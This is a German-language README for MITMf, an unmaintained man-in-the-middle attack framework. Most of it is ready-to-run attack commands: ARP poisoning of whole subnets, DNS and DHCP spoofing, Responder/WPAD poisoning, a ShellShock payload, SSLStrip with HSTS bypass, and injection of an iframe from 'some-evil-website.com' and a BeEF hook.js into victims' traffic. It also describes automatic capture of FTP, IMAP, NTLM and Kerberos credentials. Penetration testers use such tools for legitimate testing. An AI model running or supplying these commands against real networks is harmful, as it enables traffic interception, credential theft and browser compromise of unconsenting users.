
Framework für Man-In-The-Middle-Angriffe
Framework für Man-In-The-Middle-Angriffe
Dieses Projekt wird nicht mehr aktualisiert. MITMf wurde entwickelt, um den damaligen Bedarf an einem modernen Werkzeug für Man-In-The-Middle-Angriffe zu decken. Seitdem wurden viele andere Werkzeuge entwickelt, die diese Nische füllen. Sie sollten wahrscheinlich Bettercap verwenden, da es wesentlich funktionsreicher und besser gewartet ist.
Schnelle Tutorials, Beispiele und Entwickler-Updates unter: https://byt3bl33d3r.github.io
Dieses Werkzeug basiert auf sergio-proxy und ist ein Versuch, das Projekt wiederzubeleben und zu aktualisieren.
Kontaktieren Sie mich unter:
Bevor Sie Probleme melden, lesen Sie bitte den entsprechenden Abschnitt im Wiki.
Bitte lesen Sie das Wiki für Installationshinweise.
MITMf zielt darauf ab, eine Rundum-Lösung für Man-In-The-Middle- und Netzwerkangriffe zu bieten, während bestehende Angriffe und Techniken aktualisiert und verbessert werden.
Ursprünglich entwickelt, um die erheblichen Mängel anderer Werkzeuge (z. B. Ettercap, Mallory) zu beheben, wurde es fast vollständig neu geschrieben, um ein modulares und leicht erweiterbares Framework bereitzustellen, das jeder zur Implementierung eigener MITM-Angriffe nutzen kann.
Das Framework enthält einen integrierten SMB-, HTTP- und DNS-Server, der von den verschiedenen Plugins gesteuert und genutzt werden kann. Es enthält außerdem eine modifizierte Version des SSLStrip-Proxys, die HTTP-Modifikation und eine partielle HSTS-Umgehung ermöglicht.
Ab Version 0.9.8 unterstützt MITMf aktive Paketfilterung und -manipulation (im Grunde das, was etterfilter tat, nur besser), sodass Benutzer jede Art von Verkehr oder Protokoll modifizieren können.
Die Konfigurationsdatei kann während der Laufzeit von MITMf bearbeitet werden; die Änderungen werden durch das Framework weitergegeben. Dies ermöglicht es Ihnen, Einstellungen von Plugins und Servern während eines Angriffs anzupassen.
MITMf erfasst FTP-, IRC-, POP-, IMAP-, Telnet-, SMTP-, SNMP- (Community-Strings), NTLMv1/v2- (alle unterstützten Protokolle wie HTTP, SMB, LDAP usw.) und Kerberos-Anmeldeinformationen mittels Net-Creds, das beim Start ausgeführt wird.
Die Responder-Integration ermöglicht LLMNR-, NBT-NS- und MDNS-Poisoning sowie Unterstützung für einen WPAD-Rogue-Server.
Sie können nun jedes Paket/Protokoll, das von MITMf abgefangen wird, mit Scapy modifizieren! (keine etterfilter mehr! juhu!)
Hier ist zum Beispiel ein kleiner, einfacher Filter, der lediglich die Ziel-IP-Adresse von ICMP-Paketen ändert:
if packet.haslayer(ICMP):
log.info('Ein ICMP-Paket erhalten!')
packet.dst = '192.168.1.0'
packet, um auf das Paket in einem Scapy-kompatiblen Format zuzugreifen.data, um auf die Rohdaten des Pakets zuzugreifen.Um den Filter zu verwenden, müssen wir nur Folgendes ausführen: python mitmf.py -F ~/filter.py
Sie möchten das wahrscheinlich mit dem Spoof-Plugin kombinieren, um tatsächlich Pakete von jemand anderem abzufangen ;)
Hinweis: Sie können Filter während der Laufzeit ändern, ohne MITMf neu starten zu müssen!
Die grundlegendste Verwendung startet den HTTP-Proxy, die SMB-, DNS- und HTTP-Server sowie Net-Creds auf der Schnittstelle enp3s0:
python mitmf.py -i enp3s0
ARP-Vergiftung des gesamten Subnetzes mit dem Gateway unter 192.168.1.1 mittels des Spoof-Plugins:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Wie oben, plus einen WPAD-Rogue-Proxy-Server mittels des Responder-Plugins:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP-Vergiftung von 192.168.1.16-45 und 192.168.0.1/24 mit dem Gateway unter 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
DNS-Spoofing aktivieren während ARP-Vergiftung (zu spoofende Domänen werden aus der Konfigurationsdatei geladen):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
LLMNR/NBTNS/MDNS-Spoofing aktivieren:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
DHCP-Spoofing aktivieren (der IP-Pool und das Subnetz werden aus der Konfigurationsdatei geladen):
python mitmf.py -i enp3s0 --spoof --dhcp
Wie oben, mit einem ShellShock-Payload, das ausgeführt wird, falls ein Client anfällig ist:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Einen HTML-IFrame mithilfe des Inject-Plugins einfügen:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Ein JS-Skript einfügen:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Ein Captive-Portal starten, das alles auf http://SERVER/PATH umleitet:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Captive-Portal auf http://your-ip/portal.html starten unter Verwendung der Standardseite /portal.html (danke responder) und /CaptiveClient.exe (nicht enthalten) aus dem Ordner config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Wie oben, aber mit dem Hostnamen captive.portal anstelle der IP (erfordert, dass captive.portal auf Ihre IP aufgelöst wird, z. B. durch DNS-Spoof):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Ein Captive-Portal mit einer zusätzlichen SimpleHTTPServer-Instanz bereitstellen, die das Verzeichnis LOCALDIR unter http://IP:8080 bereitstellt (Port in mitmf.config ändern):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Wie oben, aber mit Hostnamen:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
Und vieles mehr!
Natürlich können Sie fast alle Plugins miteinander kombinieren (z. B. ARP-Spoof + Inject + Responder usw.).
Eine vollständige Liste der verfügbaren Optionen erhalten Sie mit python mitmf.py --help.
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr